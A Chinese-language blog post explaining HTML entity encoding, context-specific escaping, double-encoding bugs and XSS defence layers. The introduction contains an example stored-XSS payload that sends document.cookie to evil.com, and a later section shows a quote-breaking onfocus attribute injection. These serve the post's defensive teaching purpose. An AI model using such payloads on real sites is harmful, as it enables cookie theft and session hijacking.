一个引号就能攻破你的网站,HTML 编码你学不学

简介: 深入解析 HTML 实体编码的完整转义规则与底层原理,详细讲解命名实体与数字实体的区别和各自适用场景,以及在不同上下文中正确编码如何有效防止跨站脚本攻击 XSS

曾接手过一个内部工单系统。上线第二天,运营同事在群里发了张截图——她在备注字段输入了 <a href="http://xxx">点我</a>,结果页面真的渲染出了一个可点击的链接。

我当时的第一判断是"后端没做编码"。查了代码,后端确实调了 htmlspecialchars。再往前查,发现数据经过了两次处理:后端编码完后,前端用 JavaScript 把数据取出来,又拼了一次 innerHTML,但前端拼的时候用的是原始数据,不是编码后的版本。

等于后端白编码了。

这就是典型的 HTML 注入场景。虽然那次不是恶意攻击,但逻辑是一样的:用户输入的内容被当成了 HTML 解析。如果那段内容换成 <script>document.location='http://evil.com/?cookie='+document.cookie</script>,后果就不只是"多个链接"这么简单了。

实体编码的三种写法

HTML 实体编码的核心思路就是把"有特殊含义的字符"替换成"无害的替代表示"。浏览器渲染时看到这些替代表示,知道"哦,这里是想显示一个小于号,不是标签开始"。

有三种写法,浏览器都认:

类型 示例 说明
命名实体 &amp; 只能表示部分常用字符
十进制数字实体 &#38; &# + Unicode 码点 + ;
十六进制数字实体 &#x26; &#x + Unicode 码点 + ;

最常用的几个保留字符:

原始字符 命名实体 十进制 十六进制
& &amp; &#38; &#x26;
< &lt; &#60; &#x3C;
> &gt; &#62; &#x3E;
" &quot; &#34; &#x22;
' &apos; &#39; &#x27;

这三种写法在浏览器里渲染结果没区别。区别在于覆盖范围——命名实体只定义了几百个,而数字实体理论上可以表示所有 Unicode 字符。比如 &#x1F600; 显示 😀,命名实体里就没有这个。

编码和不编码的区别

拿一个具体场景来做对比。假设用户提交了一段文本:

你好 <script>alert('xss')</script> 欢迎

不编码直接输出到 HTML

浏览器看到 <script> 标签,会尝试执行里面的 JavaScript。因为浏览器解析 HTML 的时候,< 就是标签开始的标志。结果就是个弹窗。

编码后输出

替换规则逐字符处理。< 变成 &lt;> 变成 &gt;' 变成 &apos;。最终结果是:

你好 &lt;script&gt;alert(&apos;xss&apos;)&lt;/script&gt; 欢迎

浏览器渲染这段时,&lt; 被理解成"显示一个小于号",不会当作标签。所有字符都安全地显示为文本。

我用 Python 测过这个转换过程。html.escape 默认只编码 &<> 三个字符,引号需要额外指定 quote=True。我一开始没传这个参数,结果属性值里的引号没被编码,还是存在属性注入风险。

import html

raw = "<script>alert('xss')</script>"
print(html.escape(raw))                    # &lt;script&gt;alert('xss')&lt;/script&gt;
print(html.escape(raw, quote=True))        # &lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;

区别在哪?第一个输出里单引号还是原样,如果这段文本被放到 HTML 属性里,攻击者可以通过单引号提前闭合属性值。

不同上下文,不同规则

HTML 实体编码不是万能药。它只在HTML 标签内容HTML 属性值这两个上下文中有效。换一个上下文,规则就变了。

HTML 标签内容<div>{ { text }}</div>。只需要编码 <>&。因为在这里,只有 < 可能被误解析为标签起始。

HTML 属性值<input value="{ { text }}">。除了 <>&,还必须编码引号。攻击者可以通过注入 " 闭合属性,然后插入新属性。比如用户输入 " autofocus onfocus="alert(1) 双引号包起来的内容,浏览器会解析出两个属性。

<!-- 未编码的情况 -->
<input value="" autofocus onfocus="alert(1)" />
<!-- 攻击者的 onfocus 被执行了 -->

<!-- 编码后的情况 -->
<input value='" autofocus onfocus="alert(1)' />
<!-- 所有内容都乖乖待在 value 里 -->

JavaScript 字符串<script>var name = '{ { text }}';</script>。这里的防御规则完全不同。HTML 实体编码帮不上忙,因为浏览器解析 HTML 阶段已经把实体解码了,JavaScript 拿到的是解码后的原始字符。如果用户输入中包含 '\,可以直接闭合 JavaScript 字符串然后注入代码。

我踩过这个坑。有次在 <script> 标签里嵌了一段用户配置,虽然对 < 做了 HTML 编码,但没处理反斜杠。一个用户在昵称里用了 \,结果 JavaScript 语法直接崩了——\ 转义了后面的引号,字符串被提前闭合。

URL 上下文<a href="{ { url }}">。这里需要 URL 编码,不是 HTML 编码。如果用户输入 javascript:alert(1),HTML 编码引号是没用的——因为 href 的值里,javascript: 协议会被执行。框架层面也很难防御这个,除非做白名单过滤协议头。

编码不是安全银弹

另一个容易翻车的地方是"二次编码"。

我有一次修一个 bug,看到用户输入在数据库里存的是 &amp;lt;——字面意思的 &amp;lt;。查了一圈发现:用户在表单里输入了 <,前端 JavaScript 做了第一次实体编码变成 &lt;,数据到后端后端又调用了一次 htmlspecialchars,把 &lt; 里的 & 又编码了一遍,变成 &amp;lt;

结果是页面显示 &lt; 而不是 <。用户看到的是乱码。

判断依据很简单:去数据库查原始存储的值。看到 &amp;lt; 的时候就意识到是双重编码。后来改成只在输出端做一次编码,问题解决。

这条规则一直有效:编码应该在输出端做,不是在输入端。 数据库里存原始数据,模板渲染时再编码。这样不管数据从哪里来(用户输入、API、迁移脚本),都不会出现编码混乱。

XSS 防御的层次

HTML 实体编码防御的是反射型存储型 XSS——这两种 XSS 的核心都是"用户输入的内容被当成了 HTML 解析"。编码后,内容变成了纯文本,脚本不会被解释执行。

但它对DOM 型 XSS的防护有限。DOM XSS 发生在客户端——前端代码通过 innerHTMLdocument.writeeval 等 API 把用户控制的字符串当作 HTML 或代码执行。就算服务端做了编码,如果前端在 JavaScript 层面做了额外的解码操作(比如 decodeURIComponent),编码就不起作用了。

我遇到过一种情况:服务端对用户名做了实体编码,但前端拿到数据后用 innerHTML 展示没问题。可另一个功能把用户名放到了 URL 参数里,然后又从 URL 读取出来直接 innerHTML——URL 参数里的数据没有经过服务端编码,等于绕过了防护。
222.png

最佳实践

踩了这么多坑之后,我总结了几条规则:

在服务端做编码。最可靠的是 OWASP 的编码库,Java 用 Java Encoder,Python 用 html.escape,PHP 用 htmlspecialchars。不要在客户端做编码,容易被绕过。

区分上下文。输出到 HTML 标签内容用一套规则,输出到属性值额外编码引号,输出到 JavaScript 用 \xHH 编码,输出到 URL 调用 encodeURIComponent

用 textContent 替代 innerHTML。如果只是展示文本,textContent 不会把内容解析为 HTML,天然安全。只在确信内容安全时才用 innerHTML

内容安全策略(CSP)作为最后一道防线。即使编码出漏洞了,CSP 也能阻止恶意脚本执行。我的博客配了 script-src 'self',虽然配置过程被第三方 SDK 折腾了一整天,但配完安心很多。

实际工作中可以用 HTML 实体编码工具 可以在线验证你的编码结果是否正确,支持双向转换和预览。

相关文章
|
1天前
|
Web App开发 前端开发 数据可视化
HSL 色彩模型,为什么设计师不直接用 RGB
深入解析 HSL 色彩模型的设计原理、与 RGB 的转换关系、以及在实际开发中如何利用 HSL 的直觉性来高效调色和生成配色方案
35 2
|
21小时前
|
消息中间件 监控 Kafka
【消息队列MQ】消息丢失:全链路原因、解决方案、消息可靠性保证
消息队列MQ全链路防丢失体系:覆盖生产→Broker→消费三阶段,直击6大关键节点风险;涵盖确认机制、同步刷盘、主从复制、手动提交Offset、事务消息、死信兜底等核心方案,兼顾可靠性与性能折中。
|
22小时前
|
Web App开发 开发框架 前端开发
URL 编码到底解决了什么问题
从 URI 规范到浏览器实现,深入解析 URL 编码规则、保留字符和 unsafe 字符分类,分析 encodeURI 与 encodeURIComponent 差异、常见解码陷阱和双重编码问题
26 0
|
19小时前
|
运维 监控 安全
阿里云部署OpenClaw / Hermes Agent +百炼API配置+Agent Dashboard实时监控面板+实现 AI 运维及避坑指南
“OpenClaw后台运行时,到底在执行什么任务?哪个Agent把Token额度耗光了?会话是不是卡在某个环节?”——这是所有OpenClaw用户的共同痛点。即便官方提供了默认Gateway控制台(127.0.0.1:18789),但该界面更侧重“网关控制”,缺乏Agent运行态的可视化监控,用户只能对着日志文件反复grep,陷入“运维返祖现场”。
38 1
|
20小时前
|
机器学习/深度学习 传感器 算法
用 200 元改了一个普通摄像头,测直径稳定到 ±5 微米
本项目实现了一种低成本、高鲁棒的圆形工件视觉检测方案:仅用200元USB摄像头,无需远心镜头与深度学习,15ms内完成检测,直径重复精度达±2μm,圆心定位误差<0.01mm;自动抑制灰尘、划痕、油污干扰,换型一键标定,结果可解释。
32 2
|
20小时前
|
人工智能 自然语言处理 数据可视化
JBoltAI引领RAG从“被动检索”迈向“主动推理”新时代
JBoltAI V4.3发布,首创Agentic RAG技术,实现从“被动检索”到“主动推理”的跃迁。新增AgentRAG问答类型,支持查询分析、规划调度、多轮迭代与结果生成,并可视化推理过程,开箱即用,大幅提升回答准确性与用户信任感。(239字)
29 1
|
21小时前
|
人工智能 运维 前端开发
AgentRAG技术革新:JBoltAI引领AI问答新范式
AI驱动制造业变革:JBoltAI推出AgentRAG技术,突破传统RAG被动检索局限,通过ReAct推理链路(查询分析→执行规划→工具调度→迭代推理→生成)显著提升问答精准性、实时性与灵活性,查准率提升约30%,为智能制造提供高效决策支持。
32 0
|
21小时前
|
人工智能 运维 前端开发
AgentRAG新突破:ReAct推理链路赋能制造业AI问答
AI浪潮下,传统RAG在制造业问答中查准率不稳。JBoltAI平台升级引入AgentRAG与ReAct推理链路(查询分析→执行规划→工具调度→迭代推理→生成),赋予AI智能体多步推理与自主决策能力,显著提升设备故障排查、流程优化等场景的问答精准度与效率。(239字)
29 0
|
21小时前
|
人工智能 数据可视化
AgentRAG:RAG技术的进化,从“被动检索”迈向“主动
JBoltAI平台推出AgentRAG技术,突破传统RAG被动检索局限,实现“理解→规划→检索→评估→生成”主动推理链。支持多步推理、工具编排与自我纠错,并可视化呈现AI思考过程,显著提升制造业等复杂场景下问答的准确性与可信度。(239字)
26 0
|
21小时前
|
弹性计算 人工智能 运维
阿里云服务器和轻量应用服务器选择指南:性能、适用场景、使用方法对比与选择参考
许多用户在选择阿里云服务器时,由于是初次选择,可能不知道云服务器ECS和轻量应用服务器的区别。本文对比了两者的产品定位、适用场景、产品优势及使用限制:ECS适合企业级用户,处理高并发、大数据等复杂场景;轻量应用服务器则面向个人开发者、学生及中小企业,适合轻量级应用。结合2026年特惠活动,文章提供了选购策略,帮助用户根据身份、需求、技术能力及长期成本选择合适的云服务器。